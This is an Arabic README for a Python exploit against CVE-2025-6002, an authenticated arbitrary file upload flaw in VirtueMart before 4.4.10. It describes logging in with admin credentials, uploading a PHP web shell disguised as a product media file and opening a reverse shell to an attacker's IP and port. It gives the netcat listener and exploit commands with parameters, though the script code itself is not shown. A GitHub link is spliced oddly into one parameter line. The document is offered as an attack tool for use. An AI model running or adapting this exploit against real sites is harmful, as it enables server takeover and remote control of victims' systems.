استغلال ثغرة CVE-2025-6002

يستغل هذا السكربت ثغرة رفع الملفات الاعتباطية بعد المصادقة في VirtueMart < 4.4.10 (CVE-2025-6002)، والموصوفة في هذه التدوينة: https://blog.blacklanternsecurity.com/p/doomla-zero-days

يسجّل هذا السكربت الدخول إلى VirtueMart باستخدام بيانات الاعتماد المقدمة، وينشئ منتجًا جديدًا ويرفع قشرة ويب PHP كملف وسائط. ثم يستدعي قشرة عكسية إلى عنوان IP/المنفذ المقدم.

المعلمات:

• --url: رابط VirtueMart
• --username: اسم مستخدم المسؤول
• --password: كلمة مرور المسؤول
• --remote-ip: عنوان IP للمهاجمhttps://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: منفذ المهاجم

الاستخدام:

1. شغّل Netcat على جهاز المهاجم:

nc -nlvp 1337

2. نفّذ الاستغلال

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337